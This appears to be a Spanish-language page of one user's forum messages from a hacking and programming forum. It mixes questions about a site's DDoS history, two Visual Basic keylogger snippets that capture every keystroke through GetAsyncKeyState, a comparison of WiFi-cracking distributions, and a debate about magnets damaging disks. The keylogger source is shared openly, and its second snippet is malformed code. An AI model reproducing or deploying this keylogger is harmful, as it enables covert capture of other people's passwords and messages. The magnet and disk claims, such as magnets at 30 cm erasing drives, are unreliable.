Mensajes

Orale, está interesante  , al final de cuentas, ¿cómo detuviste el ataque de netzeek?, ¿Reiniciaste el server o que onda?. Gracias que esa es mi última pregunta.
Un cordial saludo  

Hola a todos  ,

Hace un par de horas estaba leyendo la historia de éste sitio, por lo que me pareció cada vez más interesante, hasta que me quedé leyendo todo. Pero sin envargo, me quedé con varias dudas.

Y éstas son para ti el brujo.
En aquel entonces, ¿cómo parabas un DDOS?, ¿Qué sistema de publicidad usaste?, ¿Fue legal usar ese sistema de publicidad aún cuando las víctimas no sabían que eran usadas para que el sitio ganara dinero?

Espero no ser muy directo con tigo y que no te lo tomes a mal, pero cuando algo me queda de duda, soy muy preguntón  .

Un coridal saludo 

Vaya, ahora si que nos han salvado el trasero una vez más  , muy bueno  .

Vaya ***** 

Es un control time:

Código [Seleccionar] Expandir

'
'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
        Static bStarted As Boolean
        Dim i%

 If Not bStarted Then
   'Inicializa el estado de las teclas llamando a
   'la función GetAsyncKeyState.
   '
   For i = 1 To 256
     Call GetAsyncKeyState(i)
   Next

   bStarted = True
 End If

 For i = 1 To 256
   'Obtiene la tecla pulsada actualmente.
   '
   If GetAsyncKeyState(i) Then
     GetActiveKey = i
     
     Exit For
   End If
 Next
End Function

Sub StopLog()
 bLogEnabled = False
End Sub

Sub LogKeys()
       Dim snTimer!
       Dim iActiveKey%
       Dim sChar$, sData$

 bLogEnabled = True
 
 Do While bLogEnabled
   snTimer = Timer
   
   Do While (Timer - snTimer) < 0.125
     'Espera 125 milisegundos hasta
     'la próxima pulsación.
   Loop
   
   iActiveKey = GetActiveKey
   
   Select Case iActiveKey
     Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
       sChar = Chr$(iActiveKey)
     
       sData = sData & sChar
     
     Case vbKeyReturn
       'Imprime lo que tiene en el buffer.
       '
       Debug.Print sData
       
       sData = vbNullString
     Case Else
       'Verifica otras teclas.
   End Select
 Loop
End Sub



Éste es otro:

Código [Seleccionar] Expandir

     

    Imports System.Runtime.InteropServices
    -----------------------------------------------------------------
    Public Class Form1
     
    Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
     Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
       Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
       Private ChangeChr(255) As String
    ---------------------------------------------------------------------
       Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
           'Letras
           Dim i As Integer
           For i = Asc("A") To Asc("Z")
               If GetAsyncKeyState(i) = -32767 Then
                   If GetAsyncKeyState(VK_SHIFT) > 0 Then
                       If GetKeyState(VK_CAPITAL) > 0 Then
                           RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                           Exit Sub
                       Else
                           RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                           Exit Sub
                       End If
                   Else
                       If GetKeyState(VK_CAPITAL) > 0 Then
                           RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
                           Exit Sub
                       Else
                           RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
                           Exit Sub
                       End If
                   End If
               End If
           Next
           'Numeros
           For i = 48 To 57
               If GetAsyncKeyState(i) = -32767 Then
                   If GetAsyncKeyState(VK_SHIFT) < 0 Then
                       RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
                       Exit Sub
                   Else
                       RichTextBox1.Text = RichTextBox1.Text & Chr(i)
                       Exit Sub
                   End If
               End If
           Next
           'Espacio
           If GetAsyncKeyState(32) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text + " "
           End If
           'Enter
           If GetAsyncKeyState(13) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
           End If
           'Esc
           If GetAsyncKeyState(27) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
           End If
           'Izquierda
           If GetAsyncKeyState(37) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
           End If
           'Arriba
           If GetAsyncKeyState(38) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
           End If
           'Derecha
           If GetAsyncKeyState(39) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Der] "
           End If
           'Abajo
           If GetAsyncKeyState(40) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
           End If
           'Print Screen
           If GetAsyncKeyState(44) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
           End If
           'Re Pag
           If GetAsyncKeyState(33) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
           End If
           'Av Pag
           If GetAsyncKeyState(34) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
           End If
           'Fin Pag
           If GetAsyncKeyState(35) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
           End If
           'Inicio Pag
           If GetAsyncKeyState(36) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
           End If
           'Supr
           If GetAsyncKeyState(46) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
           End If
           'Insert
           If GetAsyncKeyState(45) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
           End If
           'F1
           If GetAsyncKeyState(112) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F1] "
           End If
           'F2
           If GetAsyncKeyState(113) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F2] "
           End If
           'F3
           If GetAsyncKeyState(114) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F3] "
           End If
           'F4
           If GetAsyncKeyState(115) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F4] "
           End If
           'F5
           If GetAsyncKeyState(116) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F5] "
           End If
           'F6
           If GetAsyncKeyState(117) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F6] "
           End If
           'F7
           If GetAsyncKeyState(118) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F7] "
           End If
           'F8
           If GetAsyncKeyState(119) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F8] "
           End If
           'F9
           If GetAsyncKeyState(120) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F9] "
           End If
           'F10
           If GetAsyncKeyState(121) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F10] "
           End If
           'F11
           If GetAsyncKeyState(122) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F11] "
           End If
           'F12
           If GetAsyncKeyState(123) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [F12] "
           End If
           'Alt
           If GetAsyncKeyState(164) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
           End If
           'Num Lock
           If GetAsyncKeyState(144) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
           End If
           'Bloq mayús
           If GetAsyncKeyState(20) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
           End If
           'ñ
           If GetAsyncKeyState(164) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & "ñ"
           End If
           'Ñ
           If GetAsyncKeyState(240) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & "Ñ"
           End If
           '"."
           If GetAsyncKeyState(190) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & "."
           End If
           '","
           If GetAsyncKeyState(188) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & ","
           End If
           '"Alt Gr"
           If GetAsyncKeyState(165) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
           End If
           '"Del"
           If GetAsyncKeyState(8) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Del] "
           End If
           '"Tab"
           If GetAsyncKeyState(9) = -32767 Then
               RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
           End If
       End Sub

baneado por banear a do-while xD

Hasta que los banen de verdad van a enterder....

Aclaremos tu confusión.
Beini, no es más que una distribución enfocada al análisis de redes Wep y Wpa/Wpa2. Basada en Tynicore/Linux y sólo usa las herramientas FeedingBottle, aircrack-ng y minidwep-gtk para auditar la red.


Xiaopan Es la alternativa de Beini cuando fue avandonado, es decir una nueva versión actualizado. También al igual que Beini se enfoca en analizar la red Wep y Wpa/Wpa2, basada en Tynicore/Linux (es la misma puerca, pero más revolcada). Usa las herramientas de Reaver, Inflator, Aircrack-ng, FeedingBottle, Minidwep y Xfe para auditar la misma red.

Backtrack 5. Ésto es a lo que llamo herramienta pesada, es una distribución de auditoría de seguridad y pentesting. Está basada en Debian/Linux. En éstos tipos de sistemas puedes lanzar tus ataques a tu manera. Pero te advierto que no son para novatos, ni automáticos. Posee diversas herramientas que te servirán de mucho si tienes experiencia con la programación.
Por desgracia, hace unos días Backtrack dejó de recibir actualizaciones. No puedes instalar paquetes ni actualizar el sistema. Hay herramientas obsoletas que se ven buenas pero son inutilizables.

Kali Linux Es la actualización de Backtrack 5, prácticamente Backtrack 6. Es la nueva generación de auditoría en seguridad. Kali está diseñado específicamente para las pruebas de penetración. Y claro sus herramientas están actualizadas.

En conclusión, las distribuciones de auditoría de seguridad, poseen también auditar redes, sus ataques son mucho mas personalizados y efectivos. En cambio, las distribuciones enfocadas al Scrip Kiddies, suelen tener problemas. No porque el software falle, si no porque el usuario no puede en ocasiones lidear con las configuraciones, además de que no se leen las funciones básicas.
Viendo el panorama, Kali Linux sería el más adecuado.

Si tienes inconvenientes en usar comandos y largas cadenas te sujiero que uses Xiaopan de esos 4, pero si quieres unas buenas herramientas te recomiendo Wifislax 4.9 última versión actualizada.  

Pero bueno, yaa nos hemos salido mucho del tema, el punto es que Hades_inf tiene uno de los problemas debatidos.

Hades_inf un par de preguntas para ti. ¿No tenías ese día un dispositivo o aparato que iduzca mucha frecuencia magnetica o electromagnética además de tu celular?
¿Tu Nokia Asha 300 no tiene una funda de cuero magnetica?
¿O de casualidad ese día no había un viento solar?  

Y mientras que el campo magnetico de un iman no borra la información de un SSD, un campo magnetico lo suficientemente grande puede ocasionar daños a los componentes electrónicos del SSD.

Estoy de acuerdo, con el SSD, eso tendría que superar la resistencia del aparato, más bien sería un pulso electromagnético el que tratan de decir, pero consiganse un imán de Neodimio y ponganlo a 30 cm de su laptop para que desmientan esa teoría o mito en el que se basan.

el problema es que aquí van son Maxwell y Faraday XD

Quisite decir Maxell xD

cerca de una pc un iman de neodimio, si, es decir, literalmente sobre el disco, al campo magnético ser esférico su fuerza es el inverso al cuadrado de la distancia, es decir, suponiendo que la fuerza es 100% a 1cm, a 2cm es solo el 25%, a 3cm 11%... a 30cm = 0.11%

por otro lado y dejando de lado los imanes...

mi laptop... el wifi tiene más potencia que el celular (por razones practicas de que tiene acceso a más energía), la tarjeta wifi de mi laptop está exactamente al lado del disco, la antena tiene menos de 1cm de separación del borde lateral del disco... ya llevo 5 años con ella, el disco está en buen estado (según software) y no he tenido problemas...

¿Yaa hiciste la prueba o te basas en una teoría?  
Lo mío es experiencia.

Engel lex eso si que es una chorreada enorme  

si a 30cm puede borrar un disco, va a destrozar los componentes metálicos internos de la computadora a esa distancia XD a 5cm si creo, sobre el teclado (si es laptop como la mia)

Ni que fuera un magneto para atraer carrosería de toneladas!
Aclaremos, la dependencia de los imánes se debe por la fuerza inducida, es decir que los dipolos magnéticos entre más alineados estén mayor va a hacer el campo magnético y el daño va a ser irreversible si se es inducido en un disco duro, independientemente de que tan cercas o lejos esté (claro si está a 1metro no pasa nada). Entonces aunque la antena que desconozco si realmente capte ondas que dañen al HDD (bueno son ondas de radio como las del wifi) porque son ondas de radio y no son tan peligrosas como las gama (para cualquier cosa que sea del mundo eso creo). La vedad no te discuto eso pero si afecta al funcionamiento de las abejas de seguro debe afectar al disco duro, pero eso no tendría mucho sentido porque los Discos duros deberían recibir ese daño.
Lastima que no hay mucha documentación sobre que las ondas de radio dañen al HDD, pero si nos enfocamos a una onda que recide electrecidad como el magnetismo, ese es el que debemos cuidar de alejar de nuestos discos duros, si tienes un SSD estas asalvo.

Recordemos que los HDD están grabados con binario 1 y 0, cargados con electrecidad, pero si acercamos un imán modificaremos esos datos y nos joderemos posiblemente los archivos junto con los valores de fábrica.